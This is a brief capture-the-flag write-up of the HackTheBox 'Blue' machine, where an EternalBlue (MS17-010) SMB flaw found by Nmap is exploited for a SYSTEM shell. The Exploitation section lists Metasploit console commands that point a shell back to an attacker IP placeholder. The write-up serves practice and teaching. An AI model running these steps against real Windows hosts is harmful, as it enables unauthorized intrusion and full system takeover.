Blue — HackTheBox (write-up)¶
Difficulty: Easy / Beginner Box: Blue (HackTheBox) Author: dsec Date: 2025-05-15
TL;DR¶
Nmap revealed EternalBlue (MS17-010). Exploited with Metasploit for immediate SYSTEM shell.¶
Target info¶
- Services discovered: SMB (EternalBlue vulnerable)¶
Enumeration¶
Nmap showed EternalBlue vulnerability, similar to the Internal (PG) box.
Exploitation¶
msfconsole
use 0
set LHOST <attacker-ip>
set RHOSTS <target-ip>
set LPORT <port>
run
Immediate SYSTEM shell.
Lessons & takeaways¶
- EternalBlue (MS17-010) is a one-shot exploit -- always check for it on older Windows SMB services
- Metasploit makes this trivial, but understanding the underlying vulnerability matters for real engagements